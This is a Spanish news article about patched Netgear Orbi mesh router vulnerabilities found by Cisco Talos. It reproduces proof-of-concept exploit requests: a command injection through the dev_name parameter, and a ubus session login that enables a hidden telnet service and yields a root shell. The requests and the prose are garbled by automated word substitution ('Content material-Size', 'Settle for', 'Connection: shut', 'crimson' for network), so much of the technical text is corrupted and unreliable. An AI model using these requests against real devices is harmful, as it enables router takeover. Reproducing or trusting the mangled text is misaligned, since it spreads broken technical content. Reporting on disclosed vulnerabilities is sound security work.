Si confía en el sistema inalámbrico de malla Orbi de Netgear para conectarse a Web, querrá asegurarse de que esté ejecutando el último firmware ahora que se ha lanzado el código de explotación para vulnerabilidades críticas en versiones anteriores.
El sistema inalámbrico de malla Netgear Orbi consta de un enrutador concentrador principal y uno o más enrutadores satelitales que amplían el alcance de la crimson. Al configurar múltiples puntos de acceso en un hogar u oficina, forman un sistema de malla que garantiza que la cobertura Wi-Fi esté disponible en todo momento.
Inyectando remotamente comandos arbitrarios
El año pasado, los investigadores del equipo de seguridad Talos de Cisco descubrieron cuatro vulnerabilidades y las informaron de forma privada a Netgear. La más grave de las vulnerabilidades, rastreada como CVE-2022-37337, reside en la función de management de acceso del RBR750. Los piratas informáticos pueden explotarlo para ejecutar comandos de forma remota mediante el envío de solicitudes HTTP especialmente diseñadas al dispositivo. El hacker primero debe conectarse al dispositivo, ya sea conociendo la contraseña del SSID o accediendo a un SSID desprotegido. La gravedad de la falla se califica con 9.1 de un máximo de 10.
En enero, Netgear lanzó actualizaciones de firmware que corrigieron la vulnerabilidad. Ahora Talos publicado un código de explotación de prueba de concepto junto con detalles técnicos.
“La funcionalidad de management de acceso del Orbi RBR750 permite a un usuario agregar dispositivos explícitamente (especificados por la dirección MAC y un nombre de host) para permitir o bloquear el dispositivo especificado cuando intenta acceder a la crimson”, escribieron los investigadores de Talos. “Sin embargo, el parámetro dev_name es weak a la inyección de comandos”.
El código de explotación liberado es:
POST /access_control_add.cgi?id=e7bbf8edbf4393c063a616d78bd04dfac332ca652029be9095c4b5b77f6203c1 HTTP/1.1
Host: 10.0.0.1
Content material-Size: 104
Authorization: Primary YWRtaW46UGFzc3cwcmQ=
Content material-Sort: utility/x-www-form-urlencoded
Person-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Settle for: textual content/html,utility/xhtml+xml,utility/xml;q=0.9,picture/avif,picture/webp,picture/apng,*/*;q=0.8,utility/signed-exchange;v=b3;q=0.9
Settle for-Encoding: gzip, deflate
Settle for-Language: en-US,en;q=0.9
Cookie: yummy_magical_cookie=/; XSRF_TOKEN=2516336866
Connection: shut
motion=Apply&mac_addr=aabbccddeeaa&dev_name=take a look at;ping${IFS}10.0.0.4&access_control_add_type=blocked_list
El dispositivo responderá con lo siguiente:
root@RBR750:/tmp# ps | grep ping
21763 root 1336 S ping 10.0.0.4
Otras dos vulnerabilidades descubiertas por Talos también recibieron parches en enero. CVE-2022-36429 también es una falla de ejecución de comandos remotos que se puede explotar enviando una secuencia de paquetes maliciosos que crean un objeto JSON especialmente diseñado. Su índice de gravedad es de 7,2.
El exploit comienza usando la suma SHA256 de la contraseña con el nombre de usuario ‘admin’ para devolver una cookie de autenticación requerida para iniciar una sesión de telnet no documentada:
POST /ubus HTTP/1.1
Host: 10.0.0.4
Content material-Size: 217
Settle for: utility/json
Person-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content material-Sort: utility/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/
Settle for-Encoding: gzip, deflate
Settle for-Language: en-US,en;q=0.9
Connection: shut
{"methodology":"name","params":["00000000000000000000000000000000","session","login",{"username":"admin","password":"","timeout":900}],"jsonrpc":"2.0","id":3}
Aparecerá el token ‘ubus_rpc_session’ necesario para iniciar el servicio de telnet oculto:
HTTP/1.1 200 OK
Content material-Sort: utility/json
Content material-Size: 829
Connection: shut
Date: Mon, 11 Jul 2022 19:27:03 GMT
Server: lighttpd/1.4.45
{"jsonrpc":"2.0","id":3,"consequence":[0,{"ubus_rpc_session":"e6c28cc8358cb9182daa29e01782df67","timeout":900,"expires":899,"acls":{"access-group":{"netgear":["read","write"],"unauthenticated":["read"]},"ubus":{"netgear.get":["pot_details","satellite_status","connected_device","get_language"],"netgear.log":["ntgrlog_status","log_boot_status","telnet_status","packet_capture_status","firmware_version","hop_count","cpu_load","ntgrlog_start","ntgrlog_stop","log_boot_enable","log_boot_disable","telnet_enable","telnet_disable","packet_capture_start","packet_capture_stop"],"netgear.set":["set_language"],"netgear.improve":["upgrade_status","upgrade_version","upgrade_start"],"session":["access","destroy","get","login"],"system":["info"],"uci":["*"]},"webui-io":{"obtain":["read"],"add":["write"]}},"knowledge":{"username":"admin"}}]}
El adversario luego agrega un parámetro llamado ‘telnet_enable’ para iniciar el servicio telnet:
POST /ubus HTTP/1.1
Host: 10.0.0.4
Content material-Size: 138
Settle for: utility/json
Person-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content material-Sort: utility/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/standing.html
Settle for-Encoding: gzip, deflate
Settle for-Language: en-US,en;q=0.9
Connection: shut
{"methodology":"name","params":["e6c28cc8358cb9182daa29e01782df67","netgear.log","telnet_enable","log_boot_enable",{}],"jsonrpc":"2.0","id":13}
La misma contraseña utilizada para generar el hash SHA256 con el nombre de usuario ‘admin’ permitirá que un atacante inicie sesión en el servicio:
$ telnet 10.0.0.4
Attempting 10.0.0.4...
Related to 10.0.0.4.
Escape character is '^]'.
login: admin
Password: === IMPORTANT ============================
Use 'passwd' to set your login password
it will disable telnet and allow SSH
------------------------------------------
BusyBox v1.30.1 () built-in shell (ash)
MM NM MMMMMMM M M
$MMMMM MMMMM MMMMMMMMMMM MMM MMM
MMMMMMMM MM MMMMM. MMMMM:MMMMMM: MMMM MMMMM
MMMM= MMMMMM MMM MMMM MMMMM MMMM MMMMMM MMMM MMMMM'
MMMM= MMMMM MMMM MM MMMMM MMMM MMMM MMMMNMMMMM
MMMM= MMMM MMMMM MMMMM MMMM MMMM MMMMMMMM
MMMM= MMMM MMMMMM MMMMM MMMM MMMM MMMMMMMMM
MMMM= MMMM MMMMM, NMMMMMMMM MMMM MMMM MMMMMMMMMMM
MMMM= MMMM MMMMMM MMMMMMMM MMMM MMMM MMMM MMMMMM
MMMM= MMMM MM MMMM MMMM MMMM MMMM MMMM MMMM
MMMM$ ,MMMMM MMMMM MMMM MMM MMMM MMMMM MMMM MMMM
MMMMMMM: MMMMMMM M MMMMMMMMMMMM MMMMMMM MMMMMMM
MMMMMM MMMMN M MMMMMMMMM MMMM MMMM
MMMM M MMMMMMM M M
M
---------------------------------------------------------------
For these about to rock... (Chaos Calmer, rtm-4.6.8.5+r49254)
---------------------------------------------------------------
root@RBS750:/#
La otra vulnerabilidad parcheada es CVE-2022-38458, con una calificación de gravedad de 6.5. Se deriva del dispositivo que solicita a los usuarios que ingresen una contraseña a través de una conexión HTTP, que no está encriptada. Un adversario en la misma crimson puede rastrear la contraseña.